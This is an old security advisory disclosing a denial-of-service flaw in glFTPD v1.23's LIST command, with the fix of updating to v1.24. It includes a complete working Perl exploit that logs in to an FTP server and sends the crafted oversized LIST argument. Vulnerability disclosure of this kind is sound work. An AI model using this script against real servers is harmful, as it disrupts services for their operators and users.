[ASGUARD-LABS] glFTPD v1.23 DOS Attack

["Jan Wagner" <jan.wagner () de tiscali com>]

-00 ASGUARD LABS ADVISORY 00-


:Summary:

Release Date    :       2001-08-17
Affected                :               glFTPD for Linux v1.23 / glFTPD BSD v1.23 *bins
Not Affected            :       glFTPD for Linux v1.24 / glFTPD BSD v1.24 *bins
Attack Type     :       Denial Of Service
Credits to      :       Jan Wagner


:Description:

The glFTPD v1.23 contains a very(x2) simple D.O.S. which affects the "LIST"
Command


:Detail:

If glFTPD v1.23 receives a special formed "LIST" command it consumes about
99% of CPU power
Tested on FreeBSD 4.3 and NetBSD 1.5.1 (linux emul)

:Exploit Code:

<gl123DOS.pl>
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote;


:Solution:

Just update to v1.24 released two days ago


:Comments:
This Bug was very easy to find ;-) ,
glFTPD is my first choice FTP Server <BUT> Why there is STILL no Source Code
available ?